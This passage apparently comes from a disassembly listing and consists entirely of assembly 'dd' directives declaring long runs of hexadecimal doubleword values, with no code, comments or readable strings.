8F11A71Fh, 0AE93E804h, 0FFBE8BAh, 53ED32F9h dd 0FA23083Fh, 0D4A3A505h, 0E4BE71Fh, 9E702FA0h, 88A26F06h dd 25ED7E10h, 1817E73Bh, 0FA804D91h, 0E82461ACh, 683FEE13h dd 0F240085Dh, 9134F93h, 144A5CE9h, 33018523h, 26DCD0F5h dd 0A3885018h, 0F57B3Bh, 59C7D8C3h, 387EC594h, 0AAE5F30Ah dd 818AF873h, 46748C0Bh, 0C9F905F8h, 0BC4099DEh, 0B5B2174Fh dd 806F0E72h, 734996h, 8A13955h, 1E01E819h, 0C3D885F7h dd 0AC72B7E2h, 0C920078h, 0C74F1F91h, 0FCB1FBF0h, 3086F032h dd 0CF11F534h, 4B881EDCh, 0F53CA480h, 20BF0EEh, 77DCD85Ch dd 84E478C6h, 2CDBC428h, 36028446h, 2EDCD1F5h, 0A660BC71h dd 0EAEF53Eh, 0CEA34685h, 1BEA3601h, 7455CDF3h, 0F812C080h dd 0A8509BDDh, 8CF0E8A8h, 0C294B000h, 6EFAB19Dh, 1D8C0A9Eh dd 5C58B7DAh, 0B8005046h, 773DA5AFh, 0C10134B0h, 0AAEE8F94h dd 0FC406027h, 18E2C474h, 38641FB4h, 4726F0A1h, 123E6440h dd 383A50A7h, 53A5723h, 9086505Ch, 0AEABBC05h, 8C3834CCh dd 9211907Eh, 9C88BF1Fh, 0AE9800B9h, 8426211Bh, 29348842h dd 0AC0079E0h, 0ADF388B0h, 49776F39h, 0BC05C0AEh, 0D1E173FBh dd 21D39AB8h, 2FC02070h, 3E948B13h, 1E33008h, 2040B37Eh dd 3C18745Bh, 0CC8E954h, 0AE03B802h, 0C4EF96ABh, 0B9E678D0h dd 189DD998h, 179C0244h, 641BBE83h, 0B46EDC68h, 0E72E403Ch dd 90196261h, 31F3BE84h, 5FC9E07Bh, 0B8443D0Eh, 9F4F1E67h dd 0F8210FDBh, 3EF04D8Ah, 62ACF68Fh, 0B671BDECh, 18010EFAh dd 78329865h, 0E040AE96h, 615013BEh, 848E88F6h, 74318041h dd 5A21B31Fh, 10F23ECEh, 5E4721Dh, 0A2BD691Dh, 304DE26Ch dd 0F1246BD5h, 0D702D920h, 0A7142336h, 3D8670D4h, 441C9078h dd 0F0182185h, 84D04AC3h, 0DB99D217h, 146780D8h, 0B16E11h dd 0DBD10C2Ah, 0ADDE68BCh, 449950E8h, 0CC1859D1h, 0F933FB04h dd 68D0502Bh, 1A199698h, 609BDE97h, 5A11B09Dh, 388B3D80h dd 0F01427DDh, 3C803A87h, 2AE2C0BBh, 94907DBAh, 19F35E60h dd 7DD6C6C8h, 0E2A538DBh, 0B959C4FCh, 312147AAh, 3238B0D0h dd 0ABDA2668h, 0C1DC24B0h, 33F13193h, 5F6212B8h, 0F8556C20h dd 0E66002Ah, 0AD51D3C7h, 0C97C16E2h, 58352132h, 4DB47036h dd 9280A0DBh, 61649069h, 28EF448Ch, 0DE698B00h, 71CA6B53h dd 90F6AFh, 66B0092Dh, 3BAAE66Eh, 37C814Ch, 0CA57DEC8h dd 40B8008Dh, 0F66B15F5h, 844A9914h, 48C6F840h, 4BADD6h dd 5CBB029Fh, 34129CC9h, 0EE40FD01h, 82DBEAAEh, 8E005C2Dh dd 0A2C08580h, 6D002298h, 7D62AAAh, 2BA345Ch, 91D574BBh dd 6C411F0Ch, 50C104DCh dd 87009876h, 0EF4AD0A7h, 41312401h, 82D2CFDh, 440134B8h dd 3AEB14BBh, 547037BDh, 909240CAh, 91FAA513h, 5083940Eh dd 3B223C48h, 0BBF55707h, 17E7BECEh, 11C41F8Bh, 65D9804Fh dd 4C6D7C2Eh, 440641C4h, 693D6B62h, 930BC3Fh, 0E98A9270h dd 2D26718h, 30D8813Ch, 0F64404A7h, 0D0E61260h, 0DA4F5000h dd 5261FD3Ch, 242104EEh, 8FA83986h, 0C09DC890h, 9F7A6D75h dd 56224018h, 0C0E13CF1h, 70841281h, 0B60190CEh, 921D19D2h dd 2ED410AFh, 8FE83923h, 23C83BCBh, 46FB00F4h, 9C5E7F94h dd 5440C518h, 0A75381h, 0F03CA94Fh, 0C70C1631h, 0B1B74400h dd 46AE12A4h, 0D690003Eh, 0F3147B93h, 0ECA4C057h, 18F99890h dd 332608D0h, 48C4ECBFh, 26D87540h, 0C2E09C2Ch, 9D5B982Fh dd 80591184h, 574F07C9h, 0E4290127h, 2FD87F25h, 60904053h dd 320F4EBAh, 261F3826h, 7181A4Fh, 9ECCF76Ch, 192955DCh dd 489880A9h, 2609D360h, 9CC4BF30h, 0DB7A00F8h, 0C5C22026h dd 80023A08h, 0DE223107h, 75F4A0A4h, 0EA093Eh, 8C5F0C7Eh dd 702CD27Bh, 3C222700h, 32ABAFCBh, 0DFE0A1EFh, 0E27BFF10h dd 25C18B00h, 29C016DAh, 3CB65CA3h, 0C5923216h, 0BEC40FF8h dd 812C9497h, 40938A00h, 86CC908h, 0E1182A7Fh, 0A59196C1h dd 69F263E4h, 0C93D4383h, 7941BF60h, 5AA15B00h, 0DDAB7FBh dd 611B000Bh, 91E8C273h, 0B326CA92h, 0AD447C8Ah, 0F1CBEC81h dd 4D9C402h, 3785E0B0h, 927116EBh, 206F04h, 0AA22B1D3h dd 0A86A4021h, 73F4F2F8h, 0ACB73DC2h, 19623F98h, 0FF00AF0Ah dd 0E79E5DA5h, 0A97C9Ch, 29ED6D02h, 5262D695h, 0E812CDB8h dd 9C223BBFh, 0EE9031DDh, 9871B084h, 2A88F59Ch, 16690089h dd 3023213Eh, 6CB0C8C2h, 1464E844h, 905E7BCAh, 83223F16h dd 0A1003B48h, 43B73063h, 47C9233h, 0B2642CAEh, 339CB18Fh dd 7B7C2C0h, 60306F64h, 8F967A51h, 4428403Bh, 0DEFD443Bh dd 78058900h, 0DF0F4656h, 0BC430075h, 0C5B95336h, 8C0FC8A0h dd 0E0A51A27h, 0BD32529Ah, 0F4D42513h, 59917C9Dh, 212C9480h dd 4B502D41h, 7F88DF48h, 9C0903B9h, 500A2C52h, 0BCD5C790h dd 0F31D6C70h, 0B7CEF7Bh, 60358DE4h, 2DFB3CDCh, 5899C6E3h dd 54D21405h, 2158DA82h, 0EA90900Ch, 3B8C8FFCh, 4D007DC2h dd 68F2B21Fh, 85120BBFh, 50D0C0E2h, 9A97F821h, 40844AD0h dd 623CAF8Ch, 1F154CBEh, 4F87FE8h, 3052BAAAh, 5FD950C6h dd 230C2F35h, 211A019Ch, 91158BF0h, 8488179h, 0C06C9926h dd 0BF3126D6h, 4922BC46h, 26DE7701h, 0D2BF888h, 68A49C49h dd 584676D0h, 642DD801h, 21809FC2h, 941C6078h, 2823F1h dd 7C6952C9h, 4CF0CDE4h, 0C8487536h, 8C4AE8h, 0DECE3301h dd 9423BE90h, 5F61E262h, 0F790820Ch, 0F4990237h, 89445C58h dd 2FFB2536h, 5C469489h, 465E10BCh, 0D5DA004Ah, 0C593F2A5h dd 3B9109D8h, 0C04B2E41h, 7C48FCBAh, 0A1000B6Ah, 5D3EBD1Bh dd 5BC453h, 6843F7C0h, 90B9F3DDh, 4FDE1806h, 0EC907712h dd 0A5C0A850h, 854099E0h, 0A4807BB2h, 0D70293D8h, 0A2BFF2B8h dd 669980A6h, 2DA9E4CEh, 880A0883h, 8F467434h, 7BB90076h dd 6215071Fh, 0C98A3768h, 0E400C7BCh, 0FA0F5D89h, 12AC2EC2h dd 9C23B83Fh, 26211104h, 53B8C0BDh, 0DE21AB01h, 0A6BA4FDCh dd 708FA042h, 276098F0h, 0F012F2D3h, 3170C8FBh, 2C7EEA1Dh dd 1D451A4h, 6E7365B7h, 58D4401Ch, 78C68FA2h, 139A1DDh dd 20D3A901h, 0EC2190D0h, 3A3BB0E5h, 322E0258h, 0C095D886h dd 586236F8h, 3960B6DCh, 0C2CFFFCDh, 0A2911907h, 0EEF7D08Bh dd 376C827Bh, 0AA92001Bh, 1D95684Bh, 0C6BD3Ch, 0F638534Fh dd 0FACE13C8h, 12175FBAh, 7F6C0604h, 0CA106918h, 2C5873C7h dd 0C409E822h, 136A93B2h, 1BCAC044h, 0C010D67Dh, 5340E310h dd 0E8071099h, 0ACE0C968h, 651CC0h, 1D1E4BC1h, 0DDF03D05h dd 9B3A5715h, 0B44C17DCh, 2880C4DBh, 53D7AF2Bh, 0A556CF02h dd 4433D8E6h, 644B509Ch, 3469EFF9h, 0A158B692h, 0DA40D189h dd 966740F6h, 9D00DCBCh, 16765445h, 0FC14BF52h, 3D573DE0h dd 0C8F48BCAh, 0DE20C0F5h, 340B03E9h, 903F9C4Dh, 0EEE136A8h dd 620A0569h, 0F20B81CBh, 30F8F294h, 0EE186B4Bh, 5859613Fh dd 7517954h, 8F9CF23Eh, 57605087h, 8D09F47Ch, 0D073F889h dd 0DC60EF8h, 3709DBA5h, 0EFD96459h, 0A301F618h, 87154BEDh dd 0E2F50599h, 0B4ECAA20h, 0DF6C80C4h, 50F33013h, 0C88FF504h dd 0E235B894h, 309DB20Ch, 5C2542C4h, 0F2F810B2h, 16900199h dd 92D56667h, 0ED2492C0h, 0C9E35489h, 88EC3B7Eh, 0FAD500F0h dd 0E29BE047h, 712E8972h, 4008FC0Ch, 0F401F663h, 57E3C614h dd 98230C24h, 5430F4A2h, 0BEBF07E0h, 0FEE7423Eh, 629C1C37h dd 4B59D8E2h, 842CA4h, 4A50E540h, 0E91B25FEh, 848250C2h dd 0CC70724Fh, 0E5691C25h, 6550E450h, 65010813h, 0A757A238h dd 0A083BEC0h, 0B4C213Ch, 4B4041E1h, 5891E80Fh, 0E0701000h dd 29D09106h, 402418A0h, 0A84D542Eh, 2C82D002h, 0AC41BAB0h dd 4DECAC3Ch, 0AAED008Ch, 0C6E26849h, 270B5771h, 4FE3142h dd 78826664h, 19864E1h, 108BE06Ch, 0EE6D7F7Bh, 3082B456h dd 0FB4F50EFh, 0D0FC70A8h, 2DF5400Eh, 0BC6F7666h, 0FAC8E40Fh dd 1067560Bh, 588F7E92h, 0E2C09488h, 0E84D6Dh, 7DFFD347h dd 0ABD01FE0h, 920B2CBCh, 0C06412BAh, 0B11C63DCh, 0C3344570h dd 19456D4h, 97D330BCh, 508BF3ECh, 1764FCCBh, 2286FE58h dd 0D23095E4h, 0BF351226h, 0C1A8A2DCh, 9926DA73h, 3A0220C0h dd 57224074h, 209F84F6h, 0E6DC9F4h, 0A54100FAh, 5EB7322Bh dd 8307DCD7h, 1E94DEB5h, 74FB80B2h, 3015AC60h, 81B3E90h dd 0E8D0C74Bh, 30E0A7ECh, 9E83967h, 104820B0h, 0EDFCC0B0h dd 484F29BDh, 5AE8A4BFh, 2D94008Ch, 0FAA58149h, 0E8B0EE95h dd 70173F34h, 0F08854CEh, 0AD5619C0h, 5D0C01F4h, 65921430h dd 35B424DEh, 0B92C5C00h, 0F7E706C8h, 5EDCBE07h, 37049D46h dd 80527DBDh, 0B1092B68h, 178C8D27h, 80F891E0h, 77DF0454h dd 0F0920B2Bh, 0A0452421h, 260F6E4h, 7038B8C5h, 5BC406B9h dd 21E53Bh, 56D42154h, 0AD3D8124h, 0A77FDB0Eh, 88A092D8h dd 0D4DD4B31h, 9D3882ECh, 4C79D059h, 0DF03FD18h, 1D994238h dd 3AC1B4CFh, 0D03C7593h, 0F0002851h, 804BF7E0h, 2B12C30Ch dd 5CB7DD30h, 6B3ADBA0h, 0F3A1D30Eh, 0D2F9E115h, 99A64582h dd 310B0097h, 998E3DD8h, 97C6C101h, 4F46F793h, 0FBF6FF60h dd 7D890F8h, 0F5AF09C3h, 56BD406Ch, 0BC1C7BC4h, 50A807F3h dd 4F4E1E78h, 0C789FCC7h, 67514464h, 60850430h, 6407009Fh dd 27583E34h, 0E211B212h, 9800543Fh, 803CA51Ah, 9700B052h dd 7CD36618h, 1FF81BBh, 0BA601B7Fh, 3E1F5C07h, 8C77743Ah dd 0B3C3B100h, 5C3CDACDh, 7FA4A60h, 1068B46Ch, 4DD3CA64h dd 93D8E0A0h, 77413D00h, 0ACBF338Dh, 0B2640987h, 0EC427E97h dd 0F36494C7h, 49005967h, 0D2C4652Ah, 287F9328h, 26C0995h dd 8D72A8h, 0FE3C3B55h, 1AF141C0h, 66AE86h, 0E6DBC64Dh dd 417F6942h, 0B6BF0402h, 0DB3FE124h, 32300004h, 692840BEh dd 2E88B0B1h, 0A5DD0AA2h, 488F8090h, 4D20AA14h, 0D8B38B02h dd 409A5B38h, 16BCD637h, 53F713FBh, 830C04E4h, 8EF5005Dh dd 39E5B83Bh, 96279BDEh, 11508E7h, 0D81772DCh, 82220Fh dd 4A24C4B2h, 0A5880258h dd 0E07466E9h, 9BC26402h, 0D040C883h, 38506B8Fh, 0F3919097h dd 0D8AE2180h, 660D7B9Ch, 58870BB2h, 80E0343Bh, 0E64FA26Ch dd 0E8A50C08h, 106C8057h, 6B287AD2h, 99F02905h, 0A802E438h dd 0D6AB2C40h, 59467CC8h, 9FBCEA04h, 9C60A4DDh, 0F4A1BB00h dd 88C3574Dh, 215C0491h, 465B4095h, 0C676B6h, 94084842h dd 0D5903196h, 0E0C2935Ah, 3C060F7Eh, 0B091C168h, 918F0D1h dd 0F516BE00h, 0A257E3E5h, 3D3112D7h, 2A64E4FBh, 0ADE86802h dd 0E436E99Fh, 402B70F8h, 28643CF3h, 50C88419h, 1EA90015h dd 0DF14CFE4h, 610056BEh, 0D98BFF4Ah, 0BF8ECA7h, 81EA3A2Bh dd 4B44784Dh, 0CDAE9D60h, 5CC53F05h, 0D4E08270h, 301327C2h dd 67AC388Ah, 0C1F9644Eh, 0E845613Fh, 0B2076DE5h, 0CD98C68Eh dd 0F52ED4F0h, 31E4603Ah, 0B9642336h, 0ABEE0400h, 91B0C9DFh dd 5A277E74h, 8BA074D5h, 0CE4D8898h, 42104580h, 210157A1h dd 51C20933h, 44726A62h, 0C0133604h, 8C7CF9C7h, 46CA1D7h dd 75BB17E8h, 14B34Bh, 0D33DB0E2h, 7A5843Ah, 0D0880B74h dd 8539EC3Ch, 112EF509h, 7C848075h, 0D5B710h, 0D256860Ch dd 3ABD3B8Bh, 0CE0151FAh, 0DF25ED43h, 0BC426789h, 0EEB4E0C8h dd 0EAF325C7h, 4BE4DCC5h, 0F48E5360h, 5B414709h, 6E54823Dh dd 0A4E009ABh, 3E200F4Ch, 0F87F2C9Fh, 0C4D83434h, 0D71CE2B4h dd 9B23B82Bh, 0DEC50901h, 4B6B1257h, 0C471697Ch, 12184C79h dd 502471B8h, 5C26B4CDh, 8BA79824h, 7980597Ch, 3A881851h dd 0C6023A4Fh, 0FE56D6C0h, 88914878h, 1118F5D1h, 2895B00h dd 0DEEE8E20h, 70913Ch, 2DF2851Bh, 30022238h, 818F43C1h dd 476CDE0Bh, 0DFB8F0A2h, 0CD00A35Ah, 997500Ch, 558FE04h dd 3F893AFDh, 0B088415Eh, 0F8C03913h, 8A05476Ah, 0D66F32CEh dd 48729CA1h, 0AC098F7h, 167F24A8h, 9D18966Fh, 88FC0BB8h dd 9C47C092h, 235CBC5Ch, 2F94504Eh, 1E616C96h, 0B825D01Bh dd 8CB27045h, 19304BF2h, 44E61DC9h, 0DC4DC20Ah, 4C681A4Fh dd 0D77EFBBEh, 4B1B4980h, 474C20BFh, 0BCBB5C1Ch, 61CC70h dd 9BC815A4h, 0B6AEF21Ch, 58665E04h, 0D8FCC9F6h, 751CD14Eh dd 24ED0565h, 0C0168B8h, 0A50F2A93h, 4EF3EADEh, 883CCF88h dd 0B68BC34Ch, 2E7BE0B0h, 4137553Eh, 4C88BC0Eh, 98CE60C1h dd 0ACCF8C8h, 0C0E22984h, 0DE893E70h, 74D9BC92h, 0C9184CD1h dd 15F41200h, 0BD0B0CD7h, 67DC0B38h, 647085CEh, 0CC56F8AAh dd 0B47465Eh, 0C29CFEFAh, 70447B8Ch, 0AE47B53h, 0E3F3BF17h dd 145BF4C8h, 4CB37E02h, 58C4BB8h, 6AC91E86h, 648014C0h dd 247AFA10h, 4674208Dh, 30E8269Ch, 31BDE206h, 75F50519h dd 0B27B697Ah, 0AAE40220h, 0F4234EE7h, 0B49A072Ch, 2473C967h dd 185E870h, 5CD0E449h, 5060402Dh, 0D82FE3ECh, 0B1CABC17h dd 82376800h, 3FD3471Bh, 8580BF66h, 0B589525Eh, 483C08B1h dd 0D93B0306h, 869C860Fh, 0BD310C02h, 661E1B75h, 76BD8C7Fh dd 1C465CBAh, 8E8A7300h, 0B25C3D75h, 892EC103h, 3C0C518Dh dd 486F65Ah, 375B840Fh, 0A195FF1Fh, 1DBF7970h, 0EADCB759h dd 0FC04C987h, 791A9330h, 65E00033h, 8B5BB899h, 2E6269BDh dd 0F5C32B38h, 0B658F47Bh, 0CC92003Ah, 3D3071EDh, 4820834h dd 0E94A0A8Dh, 81660005h, 8BAD7DCFh, 0B70FC00Eh, 0EBC3AEFFh dd 5C57DD8h, 85601AC4h, 2F0CFA37h, 53C7228Ah, 1CBF0357h dd 5F468128h, 1A9185D8h, 0C15DE8C1h, 0FC6F70A5h, 8C1AB8A3h dd 60DB5EBDh, 0A0D8589h, 0BFCF58D8h, 0BD810CF2h, 0D01605E5h dd 85860754h, 24232144h, 9F22A1B5h, 0BD1628FFh, 8680915Eh dd 18D86B27h, 98E800F5h, 7ACDCB57h, 990D905Eh, 36B5FF3Dh dd 0BCF3B97Eh, 0CEFC1293h, 611D046Fh, 0DD900B30h, 5FF0C2EBh dd 0EF00570Ch, 0C1849AF7h, 0BC8188h, 3176A44Dh, 0A24BF83h dd 0E91FE728h, 0CDA0DE0Eh, 7EF6A05Eh, 50F8704h, 303D8509h dd 80E6EB48h, 2118A4E0h, 220FD601h, 5E8D8DAh, 30BF9810h dd 0BE055D7Eh, 794BBBDCh, 1489AC04h, 48D55E0Bh, 7FD8BB0h dd 8749BB4Dh, 29A75011h, 0B9074307h, 8AAA102h, 0BD89E8B0h dd 3E18606Dh, 2A39B50Bh, 8C0F0CC4h, 0AC7FA589h, 831B9F9Eh dd 9501800Bh, 0C824575Dh, 660DF9B0h, 9D89B60Eh, 0AC4410D5h dd 0EA20F9EEh, 0C2F90FDh, 22283DB7h, 7930F61Ch, 8BF01613h dd 958909F9h, 262431DDh, 0D5564309h, 0A0EDE82Ah, 86652FF7h dd 6CCF2055h, 6B57B8h, 81DEEF68h, 4BE5033Ah, 61F1EA17h dd 0DDB6830Bh, 2246DE8h, 0E4B11E00h, 0E95FC7BDh, 0FFF83805h dd 1BE27AD2h, 0B3F3930h, 8CBD739Dh, 0C18BEA82h, 54819FB7h dd 0E897786Dh, 0AC57B40h, 1DCF0031h, 4FF78A32h, 0F54DBD2Bh dd 0EB5F0A76h, 8B44DF04h, 2DC882h, 32FD858Dh, 50509080h dd 0A113BE52h, 0BED931B4h, 7E5AE2DCh, 60570F58h, 8BAAB9B0h dd 5F610526h, 4BF6EB90h, 0FC5332B0h, 6C210E02h, 8425D20Ch dd 0D3C1FBEEh, 5A061DFDh, 0E95E0978h, 0AB0C17FBh, 1DC847CBh dd 1FFEF1C1h, 27A9DF4h, 0BE28E58Eh, 41405660h, 4282102Dh dd 293541FDh, 3B406102h, 971EB0C6h, 0A40A4FBFh, 0C202991Dh dd 60064C13h, 8308B988h, 9350C10h, 5C08301h, 7A6090F9h dd 0E60090F9h, 0DE1F3816h, 0EE000DF1h, 31BA4119h, 7C3CAE9Fh dd 6BA31401h, 0BF41C354h, 0BE10BB07h, 3E7FEFF2h, 27D4610Dh dd 22FC00C7h, 77203B9h, 0FD00A4C2h, 0B05527A0h, 3121C45h dd 0F79599Fh, 352A028Fh, 699D860h, 94181BD1h, 0D998000h dd 0B1BAC186h, 0B190A360h, 0A80B61Ch, 61AA05C2h, 62D6F08Bh dd 0C011DAFEh, 5E6F3F3Bh, 0E8A09F3h, 49032E07h, 505E1E1Ch dd 14FE6BBAh, 10D0507Ah, 0FA402A05h, 30154171h, 27407D09h dd 0F18E9057h, 8D5F1B80h, 4B9C149Dh, 4C9060FCh, 1D30A120h dd 47D3BE61h, 59FF3EE4h, 0E4D1C03h, 2D855308h, 9D290E0Ah dd 300C222Dh, 21406D10h, 1BCF5DE9h, 0EF62FE5Bh, 0E52E4BCCh dd 3DFF8F88h, 7D007475h, 0E4FCB186h, 34EE5A5Eh, 63C3DD3Ch dd 0A0D15DAh, 8D0F57B5h, 0F074B90h, 0D21EBBFEh, 185861Ch dd 6BFB5E38h, 20EA5F66h, 0FD9D8B70h, 5E0E205Dh, 814A47EFh dd 0E7DD0BE3h, 601864E6h, 0FA3A784Ah, 0BFC174Eh, 0C62E08DBh dd 2E6A3399h, 0FCB08303h, 0DEB74C11h, 7478CACCh, 4B011646h dd 8D8940C9h, 0FE75181h, 0FAAD5882h, 0EA9E935h, 0E192B6EBh dd 0C5609484h, 611A4171h, 5C6204DDh, 20E8169Ah, 132679C8h dd 0BB3E7B00h, 639E8680h, 2531EC92h, 0D323A5BDh, 9875FE9h dd 0E00095BDh, 8730A947h, 382901DEh, 9D0993B8h, 30C2357Dh dd 2F401DBCh, 14E60F81h, 5EF4AF17h, 0AF976A94h, 96C18BDAh dd 278DFC17h, 24A51129h, 0FEFF230Eh, 743DEC5Ch, 97A1746h dd 533F7845h, 815F5685h, 2D1F5931h, 68DB2664h, 0C45AE705h dd 0F6F7F402h, 454258C3h, 28416183h, 9AFED744h, 0F8B6C02Dh dd 123EC648h, 3050F28Bh, 0B9B18DFBh, 75F73000h, 55EDC8FCh dd 82B052Eh, 92786E88h, 0B5928F13h, 83C61962h, 3D24A00h dd 562A1CBDh, 27575833h, 24048E62h, 0D6535455h, 0D6686C00h dd 98B75CB0h, 872D072Ch, 9043FE9h, 2008CDBDh, 21C108A3h dd 4F29B01Ch, 7A181471h, 51BD2312h, 0FBBED540h, 236012Ah dd 0FE8B70E6h, 174771E4h, 0CE601A44h, 7B0139BDh, 29D496FCh dd 3934D585h, 0D8B62F0Fh, 95AF98F7h, 301541B5h, 0AA28505Ch dd 60620FBAh, 12B3D20h dd 6007E580h, 0F4B7C398h, 428849E6h, 4226E4h, 3104E8C1h dd 91A8B98Dh, 0E25EF766h, 1596BFEh, 70D8532Eh, 7120CA67h dd 0B92A1EEEh, 1793922Bh, 2088BF85h, 0B1330178h, 2C6962E7h dd 37FF8ACh, 0D2689818h, 12ADBD2Eh, 0DD06480Fh, 0E23922CFh dd 1894301Bh, 0D36D3100h, 8B9FB9D6h, 6BD596F8h, 6058EDD5h dd 617763D9h, 3AE1C05h, 0F3FFB0F9h, 0B5090FE0h, 0F350F0E9h dd 9B1690F3h, 48C27885h, 0B31FBE8h, 297D58CBh, 0BE3B1705h dd 87C1BEDAh, 3060DA36h, 29329552h, 0F75A5001h, 0B80089F2h dd 5132FAD0h, 139585Bh, 7CF7F148h, 0F07B8703h, 780EFFE8h dd 423C6199h, 5069830Fh, 0E0D38D05h, 2BE260A3h, 5FF62C09h dd 267F2824h, 7116465Ch, 8D6F9D24h, 846066Bh, 38C3B00Dh dd 0DD4509BDh, 0F0AF36C3h, 27B9010h, 0B503DE85h, 0AA462C51h dd 82BE6609h, 0C78403E1h, 0AD949CE5h, 749A28Ch, 0F505D3CAh dd 878DB253h, 46B79542h, 5BC7980h, 32113358h, 1F040E1h dd 0E4D8FC24h, 8B661A58h, 0B436CF1h, 128429EEh, 1007B92Dh dd 17CCCE2Fh, 3BC1835Ah, 7192375h, 2CBECDCh, 5B63F527h dd 61D19A92h, 8F12003Fh, 0E83CC75Fh, 0C2CC2D59h, 0CF4005A5h dd 0C31AC8EDh, 64A8DF6Ah, 2B50A31Eh, 0C3B115FBh, 9713D993h dd 398F716h, 6F45D3E2h, 5AF100FEh, 4BBF2CA6h, 5EA32C2Dh dd 51F752E3h, 190F936h, 0BF050EB1h, 502AF4h, 6F4515ADh dd 0F6286D44h, 3543A303h, 10F9E0F7h, 172E2DF0h, 9ABE5B5Fh dd 47AC9E7h, 965D0C0Dh, 0C224348Ch, 77DA0D88h, 57D32BA2h dd 4D2BEB3Bh, 4EDAC0DBh, 87783DAEh, 8EE192Ch, 8463593Bh dd 0E9052DD9h, 5E89222Ch, 5A10ADE0h, 8B589005h, 0F5FE60C0h dd 99CFD089h, 92F42200h, 3FA6FF36h, 96EE3960h, 25B50196h dd 151A923Ah, 6A1B6107h, 596B68A9h, 85C712B8h, 0DB2741FDh dd 7655A3EBh, 2582F152h, 790EA8ABh, 0F2906CFFh, 8A462B4Ah dd 1CC43285h, 860C0067h, 0AB05D262h, 608C2B02h, 3C78810Fh dd 0B560EA2Ch, 7D4F5F07h, 0F9D7002Dh, 6929C187h, 61482079h dd 0D8813A62h, 0D4A2A5EAh, 3AFD2600h, 0C3B96297h, 6A02380Eh dd 5A3F0173h, 0DA66D5A4h, 5347FA5Eh, 360034DAh, 3CD9E49Dh dd 715C1572h, 4718D09h, 0DB907F24h, 87CDD25Dh, 0B5E6FE00h dd 225759C2h, 0FF0DFD17h, 6FF99CCh, 6FDFC9A0h, 53A0025Fh dd 81801A25h, 0A94E0BCFh, 0CDD732F5h, 0F21462A2h, 829016C2h dd 6102BF4Fh, 5E261554h, 0A0997860h, 2D8BE0ADh, 1808C98Dh dd 0EFBD1EBEh, 0DF8169A0h, 0BF83647h, 0B49C95A3h, 2940B182h dd 0D154B9F8h, 1181817h, 29D41B14h, 430A3195h, 14DCE12Ch dd 0F3315AE1h, 51021C9Dh, 5FFB4BC0h, 0A7E9F929h, 88306400h dd 38BFBC26h, 4EA7AC48h, 5B1EA186h, 95DFDECh, 5CECE2h dd 7069BEF8h, 16FF06Eh, 217D9D17h, 2B4BD2EEh, 0F758E900h dd 0E076E3FFh, 0FD8631F0h, 0B989DA17h, 0D811606h, 8AC156C3h dd 51A4315Ah, 1DC94233h, 0B90B5F03h, 0AC6D2369h, 354DC8D7h dd 0B03DB37Ah, 53F40038h, 4C933B7Eh, 0F88B1590h, 6577B250h dd 8231C6FCh, 0D9120B4Ch, 0E54609F1h, 766EA580h, 0FC00558Bh dd 3216F28h, 18919FDAh, 84DD82E7h, 4C4E1D84h, 0C7B7D401h dd 4F6C6288h, 4029FB40h, 0C199502Eh, 0F00AFA83h, 92C1E80Bh dd 8E9A0EA1h, 80D31CC5h, 63DE811Eh, 10F7AA18h, 48BF0F96h dd 0FD049EFEh, 26D622Ch, 0D1B59D89h, 0D68141B1h, 2FC1F008h dd 0BE804C99h, 348E9BE8h, 84FE0054h, 0E4793565h, 0C2B40AC5h dd 0B8F6469h, 263751D6h, 97FA65F5h, 5FA242A5h, 0C8D1D3FFh dd 0EB003EA6h, 0E966CE9Ah, 71C2B4BEh, 99B548Eh, 31297D92h dd 5197A1E7h, 0C8AA8EBBh, 9D2FC019h, 581470A3h, 80C2E8B4h dd 0D9E24EC6h, 1E0A0190h, 5AE68B09h, 14AE6C75h, 809DE85Eh dd 0F691CC76h, 0DBC8002Ah, 5606D636h, 5A179487h, 9CFE8E0Fh dd 5C009BE9h, 0CD8F7030h, 262BA876h, 585E6B2h, 0A72E459Dh dd 0BE6605DAh, 0BDA53B0Eh, 5BB8EC7Eh, 0FA00226Eh, 84D51073h dd 0FE88E2Ah, 83F1B702h, 0D11CA0BDh, 1A3311DDh, 0FF7072E9h dd 0EB70137Bh, 0AC3C196Bh, 100256C0h, 1689F28Bh, 9105198Dh dd 181CA0BBh, 34E934F5h, 0F310240Dh, 301DF26Dh, 100AE8Ah dd 0DF29AF58h, 2DCC28Fh, 6ABA43BEh, 0C29A8D21h, 0D7005BF9h dd 0C4F2D964h, 49330E70h, 720090AFh, 0E18D4B56h, 1AEDE42Dh dd 0A771F78Ah, 3279BD85h, 5A506DA2h, 48179418h, 60012433h dd 5523BE72h, 5DAA8400h, 4EE81B58h, 22265A8Ch, 0B296C83h dd 19E4F781h, 0F5B4A4BAh, 0F48204DCh, 81489B32h, 30EB9BDh dd 60528850h, 0B4750BBEh, 0E8FF0557h, 7D8EFEFCh, 80D001A1h dd 0A4EBB585h, 2CE9D844h, 2E0101E2h, 615BB41Fh, 0C161310Fh dd 0A28E0A92h, 585A1360h, 10966D50h, 0E91A2939h, 3854BDFDh dd 417AB012h, 37113107h, 4541BB66h, 0A20804F0h, 0D3F59D01h dd 882D8EB6h, 3A29C016h, 5AD2661Bh, 2476A8C9h, 0E88A7DE0h dd 0FC5AA700h, 29F633C7h, 9325499Dh, 0DBC38B13h, 4A90801Dh dd 13C8A736h, 301C202Eh, 0DAC25560h, 5738F87Ah, 74B007Fh dd 2D21B105h, 11E92260h, 9F242500h, 8E81EA7Bh, 41700202h dd 753B4833h, 0DC89BC41h, 1992FD95h, 295E6127h, 60A985F3h dd 792CA2EFh, 31DD9510h, 0D104B658h, 0F1614FFBh, 39873C00h dd 9ABE4A50h, 8049C74Ch, 46F38BE2h, 743A00A9h, 93DF5D5Bh dd 94044FD0h, 38041542h, 8101B4A3h, 4B760CF7h, 0D77F6927h dd 23825F9Ah, 0F656131Fh, 0B0381A10h, 0F907CD4Ah, 0F54A20FEh dd 77854990h, 326214C4h, 65432ED2h, 56A4Eh, 0CF097AD6h dd 9201EE65h, 59B79788h, 9BD56100h, 507693E5h, 24D7F026h dd 698E2053h, 82C126EDh, 0FDD39048h, 104D1D81h, 0AF4A8A26h dd 4ACED08Fh, 5329FC89h, 19E465C5h, 349E3160h, 63FA43Ah dd 25F98529h, 0B5090B94h, 17CC23DDh, 0D0B595h, 118BD202h dd 0F816E689h, 4A814798h, 0C21F6BFh, 0D758EE2Ah, 0BA638819h dd 0E0DD8D86h, 0B9CA0F8Eh, 4D5A1B71h, 36B07225h, 0C1838032h dd 6DD06F9Bh, 0F8E301D6h, 0F40CAEEFh, 21636954h, 1815F907h dd 64755C4Ah, 5B0BF62Dh, 370705B7h, 0F3F28656h, 4FBAE348h dd 0AE7A2264h, 0D9958920h, 